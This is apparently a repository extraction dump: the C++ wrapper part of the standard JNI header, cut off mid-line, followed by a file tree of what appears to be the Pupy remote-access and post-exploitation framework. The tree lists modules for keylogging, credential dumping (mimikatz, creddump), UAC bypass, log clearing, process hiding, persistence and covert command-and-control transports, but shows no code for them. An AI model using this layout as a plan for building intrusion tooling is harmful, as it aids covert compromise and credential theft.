jboolean CallStaticBooleanMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticBooleanMethodA(this,clazz,methodID,args);
}
jbyte CallStaticByteMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jbyte result;
va_start(args,methodID);
result = functions->CallStaticByteMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jbyte CallStaticByteMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticByteMethodV(this,clazz,methodID,args);
}
jbyte CallStaticByteMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticByteMethodA(this,clazz,methodID,args);
}
jchar CallStaticCharMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jchar result;
va_start(args,methodID);
result = functions->CallStaticCharMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jchar CallStaticCharMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticCharMethodV(this,clazz,methodID,args);
}
jchar CallStaticCharMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticCharMethodA(this,clazz,methodID,args);
}
jshort CallStaticShortMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jshort result;
va_start(args,methodID);
result = functions->CallStaticShortMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jshort CallStaticShortMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticShortMethodV(this,clazz,methodID,args);
}
jshort CallStaticShortMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticShortMethodA(this,clazz,methodID,args);
}
jint CallStaticIntMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jint result;
va_start(args,methodID);
result = functions->CallStaticIntMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jint CallStaticIntMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticIntMethodV(this,clazz,methodID,args);
}
jint CallStaticIntMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticIntMethodA(this,clazz,methodID,args);
}
jlong CallStaticLongMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jlong result;
va_start(args,methodID);
result = functions->CallStaticLongMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jlong CallStaticLongMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticLongMethodV(this,clazz,methodID,args);
}
jlong CallStaticLongMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticLongMethodA(this,clazz,methodID,args);
}
jfloat CallStaticFloatMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jfloat result;
va_start(args,methodID);
result = functions->CallStaticFloatMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jfloat CallStaticFloatMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticFloatMethodV(this,clazz,methodID,args);
}
jfloat CallStaticFloatMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticFloatMethodA(this,clazz,methodID,args);
}
jdouble CallStaticDoubleMethod(jclass clazz,
jmethodID methodID, ...) {
va_list args;
jdouble result;
va_start(args,methodID);
result = functions->CallStaticDoubleMethodV(this,clazz,methodID,args);
va_end(args);
return result;
}
jdouble CallStaticDoubleMethodV(jclass clazz,
jmethodID methodID, va_list args) {
return functions->CallStaticDoubleMethodV(this,clazz,methodID,args);
}
jdouble CallStaticDoubleMethodA(jclass clazz,
jmethodID methodID, const jvalue *args) {
return functions->CallStaticDoubleMethodA(this,clazz,methodID,args);
}
void CallStaticVoidMethod(jclass cls, jmethodID methodID, ...) {
va_list args;
va_start(args,methodID);
functions->CallStaticVoidMethodV(this,cls,methodID,args);
va_end(args);
}
void CallStaticVoidMethodV(jclass cls, jmethodID methodID,
va_list args) {
functions->CallStaticVoidMethodV(this,cls,methodID,args);
}
void CallStaticVoidMethodA(jclass cls, jmethodID methodID,
const jvalue * args) {
functions->CallStaticVoidMethodA(this,cls,methodID,args);
}
jfieldID GetStaticFieldID(jclass clazz, const char *name,
const char *sig) {
return functions->GetStaticFieldID(this,clazz,name,sig);
}
jobject GetStaticObjectField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticObjectField(this,clazz,fieldID);
}
jboolean GetStaticBooleanField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticBooleanField(this,clazz,fieldID);
}
jbyte GetStaticByteField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticByteField(this,clazz,fieldID);
}
jchar GetStaticCharField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticCharField(this,clazz,fieldID);
}
jshort GetStaticShortField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticShortField(this,clazz,fieldID);
}
jint GetStaticIntField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticIntField(this,clazz,fieldID);
}
jlong GetStaticLongField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticLongField(this,clazz,fieldID);
}
jfloat GetStaticFloatField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticFloatField(this,clazz,fieldID);
}
jdouble GetStaticDoubleField(jclass clazz, jfieldID fieldID) {
return functions->GetStaticDoubleField(this,clazz,fieldID);
}
void SetStaticObjectField(jclass clazz, jfieldID fieldID,
jobject value) {
functions->SetStaticObjectField(this,clazz,fieldID,value);
}
void SetStaticBooleanField(jclass clazz, jfieldID fieldID,
jboolean value) {
functions->SetStaticBooleanField(this,clazz,fieldID,value);
}
void SetStaticByteField(jclass clazz, jfieldID fieldID,
jbyte value) {
functions->SetStaticByteField(this,clazz,fieldID,value);
}
void SetStaticCharField(jclass clazz, jfieldID fieldID,
jchar value) {
functions->SetStaticCharField(this,clazz,fieldID,value);
}
void SetStaticShortField(jclass clazz, jfieldID fieldID,
jshort value) {
functions->SetStaticShortField(this,clazz,fieldID,value);
}
void SetStaticIntField(jclass clazz, jfieldID fieldID,
jint value) {
functions->SetStaticIntField(this,clazz,fieldID,value);
}
void SetStaticLongField(jclass clazz, jfieldID fieldID,
jlong value) {
functions->SetStaticLongField(this,clazz,fieldID,value);
}
void SetStaticFloatField(jclass clazz, jfieldID fieldID,
jfloat value) {
functions->SetStaticFloatField(this,clazz,fieldID,value);
}
void SetStaticDoubleField(jclass clazz, jfieldID fieldID,
jdouble value) {
functions->SetStaticDoubleField(this,clazz,fieldID,value);
}
jstring NewString(const jchar *unicode, jsize len) {
return functions->NewString(this,unicode,len);
}
jsize GetStringLength(jstring str) {
return functions->GetStringLength(this,str);
}
const jchar *GetStringChars(jstring str, jboolean *isCopy) {
return functions->GetStringChars(this,str,isCopy);
}
void ReleaseStringChars(jstring str, const jchar *chars) {
functions->ReleaseStringChars(this,str,chars);
}
jstring NewStringUTF(const char *utf) {
return functions->NewStringUTF(this,utf);
}
jsize GetStringUTFLength(jstring str) {
return functions->GetStringUTFLength(this,str);
}
const char* GetStringUTFChars(jstring str, jboolean *isCopy) {
return functions->GetStringUTFChars(this,str,isCopy);
}
void ReleaseStringUTFChars(jstring str, const char* chars) {
functions->ReleaseStringUTFChars(this,str,chars);
}
jsize GetArrayLength(jarray array) {
return functions->GetArrayLength(this,array);
}
jobjectArray NewObjectArray(jsize len, jclass clazz,
jobject init) {
return functions->NewObjectArray(this,len,clazz,init);
}
jobject GetObjectArrayElement(jobjectArray array, jsize index) {
return functions->GetObjectArrayElement(this,array,index);
}
void SetObjectArrayElement(jobjectArray array, jsize index,
jobject val) {
functions->SetObjectArrayElement(this,array,index,val);
}
jbooleanArray NewBooleanArray(jsize len) {
return functions->NewBooleanArray(this,len);
}
jbyteArray NewByteArray(jsize len) {
return functions->NewByteArray(this,len);
}
jcharArray NewCharArray(jsize len) {
return functions->NewCharArray(this,len);
}
jshortArray NewShortArray(jsize len) {
return functions->NewShortArray(this,len);
}
jintArray NewIntArray(jsize len) {
return functions->NewIntArray(this,len);
}
jlongArray NewLongArray(jsize len) {
return functions->NewLongArray(this,len);
}
jfloatArray NewFloatArray(jsize len) {
return functions->NewFloatArray(this,len);
}
jdoubleArray NewDoubleArray(jsize len) {
return functions->NewDoubleArray(this,len);
}
jboolean * GetBooleanArrayElements(jbooleanArray array, jboolean *isCopy) {
return functions->GetBooleanArrayElements(this,array,isCopy);
}
jbyte * GetByteArrayElements(jbyteArray array, jboolean *isCopy) {
return functions->GetByteArrayElements(this,array,isCopy);
}
jchar * GetCharArrayElements(jcharArray array, jboolean *isCopy) {
return functions->GetCharArrayElements(this,array,isCopy);
}
jshort * GetShortArrayElements(jshortArray array, jboolean *isCopy) {
return functions->GetShortArrayElements(this,array,isCopy);
}
jint * GetIntArrayElements(jintArray array, jboolean *isCopy) {
return functions->GetIntArrayElements(this,array,isCopy);
}
jlong * GetLongArrayElements(jlongArray array, jboolean *isCopy) {
return functions->GetLongArrayElements(this,array,isCopy);
}
jfloat * GetFloatArrayElements(jfloatArray array, jboolean *isCopy) {
return functions->GetFloatArrayElements(this,array,isCopy);
}
jdouble * GetDoubleArrayElements(jdoubleArray array, jboolean *isCopy) {
return functions->GetDoubleArrayElements(this,array,isCopy);
}
void ReleaseBooleanArrayElements(jbooleanArray array,
jboolean *elems,
jint mode) {
functions->ReleaseBooleanArrayElements(this,array,elems,mode);
}
void ReleaseByteArrayElements(jbyteArray array,
jbyte *elems,
jint mode) {
functions->ReleaseByteArrayElements(this,array,elems,mode);
}
void ReleaseCharArrayElements(jcharArray array,
jchar *elems,
jint mode) {
functions->ReleaseCharArrayElements(this,array,elems,mode);
}
void ReleaseShortArrayElements(jshortArray array,
jshort *elems,
jint mode) {
functions->ReleaseShortArrayElements(this,array,elems,mode);
}
void ReleaseIntArrayElements(jintArray array,
jint *elems,
jint mode) {
functions->ReleaseIntArrayElements(this,array,elems,mode);
}
void ReleaseLongArrayElements(jlongArray array,
jlong *elems,
jint mode) {
functions->ReleaseLongArrayElements(this,array,elems,mode);
}
void ReleaseFloatArrayElements(jfloatArray array,
jfloat *elems,
jint mode) {
functions->ReleaseFloatArrayElements(this,array,elems,mode);
}
void ReleaseDoubleArrayElements(jdoubleArray array,
jdouble *elems,
jint mode) {
functions->ReleaseDoubleArrayElements(this,array,elems,mode);
}
void GetBooleanArrayRegion(jbooleanArray array,
jsize start, jsize len, jboolean *buf) {
functions->GetBooleanArrayRegion(this,array,start,len,buf);
}
void GetByteArrayRegion(jbyteArray array,
jsize start, jsize len, jbyte *buf) {
functions->GetByteArrayRegion(this,array,start,len,buf);
}
void GetCharArrayRegion(jcharArray array,
jsize start, jsize len, jchar *buf) {
functions->GetCharArrayRegion(this,array,start,len,buf);
}
void GetShortArrayRegion(jshortArray array,
jsize start, jsize len, jshort *buf) {
functions->GetShortArrayRegion(this,array,start,len,buf);
}
void GetIntArrayRegion(jintArray array,
jsize start, jsize len, jint *buf) {
functions->GetIntArrayRegion(this,array,start,len,buf);
}
void GetLongArrayRegion(jlongArray array,
jsize start, jsize len, jlong *buf) {
functions->GetLongArrayRegion(this,array,start,len,buf);
}
void GetFloatArrayRegion(jfloatArray array,
jsize start, jsize len, jfloat *buf) {
functions->GetFloatArrayRegion(this,array,start,len,buf);
}
void GetDoubleArrayRegion(jdoubleArray array,
jsize start, jsize len, jdouble *buf) {
functions->GetDoubleArrayRegion(this,array,start,len,buf);
}
void SetBooleanArrayRegion(jbooleanArray array, jsize start, jsize len,
const jboolean *buf) {
functions->SetBooleanArrayRegion(this,array,start,len,buf);
}
void SetByteArrayRegion(jbyteArray array, jsize start, jsize len,
const jbyte *buf) {
functions->SetByteArrayRegion(this,array,start,len,buf);
}
void SetCharArrayRegion(jcharArray array, jsize start, jsize len,
const jchar *buf) {
functions->SetCharArrayRegion(this,array,start,len,buf);
}
void SetShortArrayRegion(jshortArray array, jsize start, jsize len,
const jshort *buf) {
functions->SetShortArrayRegion(this,array,start,len,buf);
}
void SetIntArrayRegion(jintArray array, jsize start, jsize len,
const jint *buf) {
functions->SetIntArrayRegion(this,array,start,len,buf);
}
void SetLongArrayRegion(jlongArray array, jsize start, jsize len,
const jlong *buf) {
functions->SetLongArrayRegion(this,array,start,len,buf);
}
void SetFloatArrayRegion(jfloatArray array, jsize start, jsize len,
const jfloat *buf) {
functions->SetFloatArrayRegion(this,array,start,len,buf);
}
void SetDoubleArrayRegion(jdoubleArray array, jsize start, jsize len,
const jdouble *buf) {
functions->SetDoubleArrayRegion(this,array,start,len,buf);
}
jint RegisterNatives(jclass clazz, const JNINativeMethod *methods,
jint nMethods) {
return functions->RegisterNatives(this,clazz,methods,nMethods);
}
jint UnregisterNatives(jclass clazz) {
return functions->UnregisterNatives(this,clazz);
}
jint MonitorEnter(jobject obj) {
return functions->MonitorEnter(this,obj);
}
jint MonitorExit(jobject obj) {
return functions->MonitorExit(this,obj);
}
jint GetJavaVM(JavaVM **vm) {
return functions->GetJavaVM(this,vm);
}
void GetStringRegion(jstring str, jsize start, jsize len, jchar *buf) {
functions->GetStringRegion(this,str,start,len,buf);
}
void GetStringUTFRegion(jstring str, jsize start, jsize len, char *buf) {
functions->GetStringUTFRegion(this,str,start,len,buf);
}
void * GetPrimitiveArrayCritical(jarray array, jboolean *isCopy) {
return functions->GetPrimitiveArrayCritical(this,array,isCopy);
}
void ReleasePrimitiveArrayCritical(jarray array, void *carray, jint mode) {
functions->ReleasePrimitiveArrayCritical(this,array,carray,mode);
}
const jchar * GetStringCritical(jstring string, jboolean *isCopy) {
return functions->GetStringCritical(this,string,isCopy);
}
void ReleaseStringCritical(jstring string, const jchar *cstring) {
functions->ReleaseStringCritical(this,string,cstring);
}
jweak NewWeakGlobalRef(jobject obj) {
return functions->NewWeakGlobalRef(this,obj);
}
void DeleteWeakGlobalRef(jweak ref) {
functions->DeleteWeakGlobalRef(this,ref);
}
jboolean ExceptionCheck() {
return functions->ExceptionCheck(this);
}
jobject NewDirectByteBuffer(void* address, jlong capacity) {
return functions->NewDirectByteBuffer(this, address, capacity);
}
void* GetDirectBufferAddress(jobject buf) {
return functions->GetDirectBufferAddress(this, buf);
}
jlong GetDirectBufferCapacity(jobject buf) {
return functions->GetDirectBufferCapacity(this, buf);
}
jobjectRefType GetObjectRefType(jobject obj) {
return functions->GetObjectRefType(this, obj);
}
#endif /* __cplusplus */
};
typedef struct JavaVMOption {
char *optionString;
void *extraInfo;
} JavaVMOption;
typedef struct JavaVMInitArgs {
jint version;
jint nOptions;
JavaVMOption *options;
jboolean ignoreUnrecognized;
} JavaVMInitArgs;
typedef struct JavaVMAttachArgs {
jint version;
char *name;
jobject group;
} JavaVMAttachArgs;
/* These will be VM-specific. */
#define JDK1_2
#define JDK1_4
/* End VM-specific. */
struct JNIInvokeInterface_ {
void *reserved0;
void *reserved1;
void *reserved2;
jint (JNICALL *DestroyJavaVM)(JavaVM *vm);
jint (JNICALL *AttachCurrentThread)(JavaVM *vm, void **penv, void *args);
jint (JNICALL *DetachCurrentThread)(JavaVM *vm);
jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);
jint (JNICALL *AttachCurrentThreadAsDaemon)(JavaVM *vm, void **penv, void *args);
};
struct JavaVM_ {
const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus
jint DestroyJavaVM() {
return functions->DestroyJavaVM(this);
}
jint AttachCurrentThread(void **penv, void *args) {
return functions->AttachCurrentThread(this, penv, args);
}
jint DetachCurrentThread() {
return functions->DetachCurrentThread(this);
}
jint GetEnv(void **penv, jint version) {
return functions->GetEnv(this, penv, version);
}
jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
return functions->AttachCurrentThreadAsDaemon(this, p
gitextract_ustywo0t/ ├── .gitignore ├── .gitmodules ├── .travis.yml ├── LICENSE ├── README.md ├── client/ │ ├── additional_imports.py │ ├── android_sources/ │ │ ├── build-docker.sh │ │ ├── build.sh │ │ ├── buildozer-docker.spec │ │ ├── buildozer.spec.example │ │ ├── main.py │ │ └── pp.py │ ├── build-docker.sh │ ├── build_library_zip.py │ ├── common/ │ │ ├── 7zTypes.h │ │ ├── LzmaDec.c │ │ ├── LzmaDec.h │ │ ├── Python-dynload.c │ │ ├── Python-dynload.h │ │ ├── Python-stacktrace.c │ │ ├── Python-stacktrace.h │ │ ├── debug.c │ │ ├── debug.h │ │ ├── jni.h │ │ ├── jni_md.h │ │ ├── jni_on_load.c │ │ ├── lzmaunpack.c │ │ └── uthash.h │ ├── gen_library_compressed_string.py │ ├── gen_resource_header.py │ ├── mktab.py │ ├── pyoxidizer-build/ │ │ ├── build_template.sh │ │ ├── lib/ │ │ │ └── http_parser/ │ │ │ ├── __init__.py │ │ │ ├── _socketio.py │ │ │ ├── http.py │ │ │ ├── pyparser.py │ │ │ ├── reader.py │ │ │ └── util.py │ │ ├── linux-builder.Dockerfile │ │ ├── pyoxidizer.bzl │ │ └── requirements.txt │ ├── requirements.txt │ ├── sources-linux-py3/ │ │ ├── .gitignore │ │ ├── Dockerfile.linux-builder │ │ ├── LICENSES.txt │ │ ├── Makefile │ │ ├── Python-dynload-os.h │ │ ├── Python.SunOS10.Setup.dist │ │ ├── build-docker.sh │ │ ├── build_c_ext.py │ │ ├── buildenv-sunos.sh │ │ ├── compat/ │ │ │ ├── bits/ │ │ │ │ ├── sched.h │ │ │ │ └── stat.h │ │ │ ├── ifaddrs.h │ │ │ └── sched.h │ │ ├── daemonize.c │ │ ├── daemonize.h │ │ ├── decompress.c │ │ ├── decompress.h │ │ ├── docker/ │ │ │ └── pyenv-setup-build.patch │ │ ├── fixes.c │ │ ├── fixes.h │ │ ├── ld_hooks.c │ │ ├── ld_hooks.h │ │ ├── main_exe.c │ │ ├── main_so.c │ │ ├── memfd.h │ │ ├── pupy.c │ │ ├── pupy.ldscript │ │ ├── pupy.so.ldscript │ │ ├── pupy_load.c │ │ ├── pupy_load.h │ │ ├── revision.h │ │ ├── tmplibrary.c │ │ └── tmplibrary.h │ └── sources-windows-py3/ │ ├── .gitignore │ ├── GetProcAddressR.c │ ├── GetProcAddressR.h │ ├── LICENSES.txt │ ├── LoadLibraryR.c │ ├── LoadLibraryR.h │ ├── Makefile │ ├── MemoryModule.c │ ├── MemoryModule.h │ ├── MyLoadLibrary.c │ ├── MyLoadLibrary.h │ ├── Python-dynload-os.h │ ├── ReflectiveDllInjection.h │ ├── ReflectiveLoader.c │ ├── ReflectiveLoader.h │ ├── actctx.c │ ├── actctx.h │ ├── base_inject.c │ ├── base_inject.h │ ├── build-docker.sh │ ├── in-mem-exe.c │ ├── main_exe.c │ ├── main_reflective.c │ ├── postmortem.c │ ├── postmortem.h │ ├── pupy.c │ ├── pupy_load.c │ ├── pupy_load.h │ ├── remote_thread.c │ ├── remote_thread.h │ ├── resource_python_manifest.c │ ├── thread.c │ └── thread.h ├── pupy/ │ ├── .dockerignore │ ├── __init__.py │ ├── agent/ │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── _linux_memfd.py │ │ ├── config.py │ │ ├── dl_hacks.py │ │ ├── handlers.py │ │ ├── logger.py │ │ ├── manager.py │ │ ├── memimporter/ │ │ │ ├── __init__.py │ │ │ ├── linux.py │ │ │ ├── posix.py │ │ │ ├── utils.py │ │ │ └── win32.py │ │ ├── pstore.py │ │ ├── psutil_hacks.py │ │ ├── service.py │ │ ├── ssl_hacks.py │ │ ├── utils.py │ │ └── winerror_hacks.py │ ├── cli/ │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── pupygen.py │ │ └── pupysh.py │ ├── commands/ │ │ ├── __init__.py │ │ ├── config.py │ │ ├── connect.py │ │ ├── creds.py │ │ ├── dnscnc.py │ │ ├── exit.py │ │ ├── exposed.py │ │ ├── gen.py │ │ ├── help.py │ │ ├── jobs.py │ │ ├── listen.py │ │ ├── logging.py │ │ ├── python.py │ │ ├── restart.py │ │ ├── run.py │ │ ├── sessions.py │ │ └── tag.py │ ├── conf/ │ │ ├── imports_done.py │ │ └── pupy.conf.default │ ├── external/ │ │ ├── PowerSploit/ │ │ │ ├── CodeExecution/ │ │ │ │ └── Invoke-ReflectivePEInjection.ps1 │ │ │ └── Recon/ │ │ │ └── PowerView.ps1 │ │ ├── creddump7/ │ │ │ ├── .gitignore │ │ │ ├── CHANGELOG │ │ │ ├── COPYING │ │ │ ├── README.md │ │ │ ├── cachedump.py │ │ │ ├── framework/ │ │ │ │ ├── __init__.py │ │ │ │ ├── addrspace.py │ │ │ │ ├── newobj.py │ │ │ │ ├── object.py │ │ │ │ ├── types.py │ │ │ │ └── win32/ │ │ │ │ ├── __init__.py │ │ │ │ ├── domcachedump.py │ │ │ │ ├── hashdump.py │ │ │ │ ├── lsasecrets.py │ │ │ │ └── rawreg.py │ │ │ ├── lsadump.py │ │ │ └── pwdump.py │ │ └── linenum/ │ │ └── linenum.sh │ ├── library_patches_py2/ │ │ ├── Crypto/ │ │ │ └── Util/ │ │ │ └── _raw_api.py │ │ ├── linecache.py │ │ ├── site.py │ │ ├── sysconfig.py_old │ │ └── uuid.py │ ├── library_patches_py3/ │ │ ├── Crypto/ │ │ │ └── Util/ │ │ │ └── _raw_api.py │ │ ├── bz2.py │ │ ├── linecache.py │ │ ├── poster/ │ │ │ ├── __init__.py │ │ │ ├── encode.py │ │ │ └── streaminghttp.py │ │ ├── site.py │ │ ├── umsgpack.py │ │ └── xattr/ │ │ └── lib_build.py │ ├── modules/ │ │ ├── __init__.py │ │ ├── ad.py │ │ ├── alive.py │ │ ├── apps.py │ │ ├── become.py │ │ ├── beroot.py │ │ ├── bypassuac.py │ │ ├── call.py │ │ ├── cat.py │ │ ├── cd.py │ │ ├── check_vm.py │ │ ├── clear_logs.py │ │ ├── cloudinfo.py │ │ ├── contacts.py │ │ ├── cp.py │ │ ├── credcap.py │ │ ├── creddump.py │ │ ├── date.py │ │ ├── display.py │ │ ├── dns.py │ │ ├── download.py │ │ ├── drives.py │ │ ├── duplicate.py │ │ ├── echo.py │ │ ├── edit.py │ │ ├── env.py │ │ ├── exit.py │ │ ├── exploit_suggester.py │ │ ├── forward.py │ │ ├── get_hwuuid.py │ │ ├── get_info.py │ │ ├── getdomain.py │ │ ├── getpid.py │ │ ├── getppid.py │ │ ├── getprivs.py │ │ ├── getsystem.py │ │ ├── getuid.py │ │ ├── gpstracker.py │ │ ├── hashmon.py │ │ ├── hide_process.py │ │ ├── http.py │ │ ├── igd.py │ │ ├── impersonate.py │ │ ├── interactive_shell.py │ │ ├── inveigh.py │ │ ├── ip.py │ │ ├── isearch.py │ │ ├── keylogger.py │ │ ├── last.py │ │ ├── lazagne.py │ │ ├── lib/ │ │ │ ├── __init__.py │ │ │ ├── linux/ │ │ │ │ ├── __init__.py │ │ │ │ ├── exec_elf.py │ │ │ │ └── migrate.py │ │ │ ├── utils/ │ │ │ │ ├── __init__.py │ │ │ │ ├── cmdrepl.py │ │ │ │ ├── download.py │ │ │ │ └── shell_exec.py │ │ │ └── windows/ │ │ │ ├── __init__.py │ │ │ ├── memory_exec.py │ │ │ ├── migrate.py │ │ │ ├── powerloader.py │ │ │ ├── powershell.py │ │ │ └── winpcap.py │ │ ├── linux_stealth.py │ │ ├── load_package.py │ │ ├── lock_screen.py │ │ ├── logs.py │ │ ├── loot_memory.py │ │ ├── ls.py │ │ ├── mapped.py │ │ ├── memory_exec.py │ │ ├── memstrings.py │ │ ├── migrate.py │ │ ├── mimikatz.py │ │ ├── mimipy.py │ │ ├── mimishell.py │ │ ├── mkdir.py │ │ ├── mouselogger.py │ │ ├── msgbox.py │ │ ├── mv.py │ │ ├── nbnsspoof.py │ │ ├── netcreds.py │ │ ├── netmon.py │ │ ├── netstat.py │ │ ├── odbc.py │ │ ├── outlook.py │ │ ├── persistence.py │ │ ├── pexec.py │ │ ├── pipecatcher.py │ │ ├── port_scan.py │ │ ├── portfwd.py │ │ ├── powerview.py │ │ ├── privesc_checker.py │ │ ├── process_kill.py │ │ ├── ps.py │ │ ├── psexec.py │ │ ├── psh.py │ │ ├── pwd.py │ │ ├── pyexec.py │ │ ├── pyshell.py │ │ ├── pywerview.py │ │ ├── rdesktop.py │ │ ├── rdp.py │ │ ├── record_mic.py │ │ ├── reg.py │ │ ├── rfs.py │ │ ├── rm.py │ │ ├── rwmic.py │ │ ├── scapy_shell.py │ │ ├── screenshot.py │ │ ├── search.py │ │ ├── services.py │ │ ├── shares.py │ │ ├── shell_exec.py │ │ ├── shellcode_exec.py │ │ ├── smb.py │ │ ├── smbspider.py │ │ ├── socks5proxy.py │ │ ├── ssh.py │ │ ├── sshell.py │ │ ├── stat.py │ │ ├── sudo_alias.py │ │ ├── tasks.py │ │ ├── tcpdump.py │ │ ├── text_to_speach.py │ │ ├── ttyrec.py │ │ ├── upload.py │ │ ├── users.py │ │ ├── usniper.py │ │ ├── vibrate.py │ │ ├── w.py │ │ ├── webcamsnap.py │ │ ├── wmic.py │ │ ├── write.py │ │ ├── x509.py │ │ └── zip.py │ ├── network/ │ │ ├── __init__.py │ │ ├── conf.py │ │ ├── lib/ │ │ │ ├── __init__.py │ │ │ ├── ack.py │ │ │ ├── base.py │ │ │ ├── base_launcher.py │ │ │ ├── buffer.py │ │ │ ├── clients.py │ │ │ ├── compat.py │ │ │ ├── connection.py │ │ │ ├── convcompat.py │ │ │ ├── dnsinfo.py │ │ │ ├── doh.py │ │ │ ├── echo.py │ │ │ ├── igd.py │ │ │ ├── launchers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── auto_proxy.py │ │ │ │ ├── bind.py │ │ │ │ ├── connect.py │ │ │ │ └── dnscnc.py │ │ │ ├── msgtypes.py │ │ │ ├── netcreds.py │ │ │ ├── ntop.py │ │ │ ├── ntplib.py │ │ │ ├── online.py │ │ │ ├── pac.py │ │ │ ├── picocmd/ │ │ │ │ ├── __init__.py │ │ │ │ ├── ascii85.py │ │ │ │ ├── baseconv.py │ │ │ │ ├── client.py │ │ │ │ ├── dns_encoder.py │ │ │ │ ├── dns_encoder_table.py │ │ │ │ ├── picocmd.py │ │ │ │ └── server.py │ │ │ ├── proxies.py │ │ │ ├── pupyrpc.py │ │ │ ├── rpc/ │ │ │ │ ├── __init__.py │ │ │ │ ├── core/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── brine.py │ │ │ │ │ ├── channel.py │ │ │ │ │ ├── consts.py │ │ │ │ │ ├── netref.py │ │ │ │ │ ├── nowait.py │ │ │ │ │ ├── protocol.py │ │ │ │ │ ├── service.py │ │ │ │ │ ├── stream.py │ │ │ │ │ └── vinegar.py │ │ │ │ ├── lib/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── colls.py │ │ │ │ ├── utils/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── classic.py │ │ │ │ │ ├── helpers.py │ │ │ │ │ └── server.py │ │ │ │ └── version.py │ │ │ ├── scan.py │ │ │ ├── servers.py │ │ │ ├── socks.py │ │ │ ├── streams/ │ │ │ │ ├── PupySocketStream.py │ │ │ │ ├── PupyVirtualStream.py │ │ │ │ └── __init__.py │ │ │ ├── stun.py │ │ │ ├── tinyhttp.py │ │ │ ├── transports/ │ │ │ │ ├── __init__.py │ │ │ │ ├── cryptoutils/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── aes.py │ │ │ │ │ ├── ecpv.py │ │ │ │ │ ├── pbkdf2.py │ │ │ │ │ ├── rc4.py │ │ │ │ │ ├── sha.py │ │ │ │ │ └── xor.py │ │ │ │ ├── dummy.py │ │ │ │ ├── ec4.py │ │ │ │ ├── ecm.py │ │ │ │ ├── http.py │ │ │ │ ├── httpwrap.py │ │ │ │ ├── obfs3/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── obfs3.py │ │ │ │ │ └── obfs3_dh.py │ │ │ │ ├── obfscommon/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── modexp.py │ │ │ │ │ └── serialize.py │ │ │ │ ├── rsa_aes.py │ │ │ │ ├── utils.py │ │ │ │ └── websocket.py │ │ │ └── utils.py │ │ └── transports/ │ │ ├── __init__.py │ │ ├── dfws/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ec4/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ecm/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── http/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── kc4/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── obfs3/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── rsa/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ssl/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ssl_rsa/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── tcp_cleartext/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── udp_cleartext/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── udp_secure/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ └── ws/ │ │ ├── __init__.py │ │ └── conf.py │ ├── packages/ │ │ ├── all/ │ │ │ ├── ad.py │ │ │ ├── cloudinfo.py │ │ │ ├── fsutils.py │ │ │ ├── gssapi.py │ │ │ ├── hwuuid.py │ │ │ ├── interactive_shell.py │ │ │ ├── loot_memory.py │ │ │ ├── memstrings.py │ │ │ ├── mic_recorder.py │ │ │ ├── nbnsspoof.py │ │ │ ├── netmon.py │ │ │ ├── odbc.py │ │ │ ├── png.py │ │ │ ├── pupyps.py │ │ │ ├── pupyutils/ │ │ │ │ ├── __init__.py │ │ │ │ ├── basic_cmds.py │ │ │ │ ├── dns.py │ │ │ │ ├── netcreds.py │ │ │ │ ├── portfwd.py │ │ │ │ ├── psexec.py │ │ │ │ ├── rdp_check.py │ │ │ │ ├── rreg.py │ │ │ │ ├── safepopen.py │ 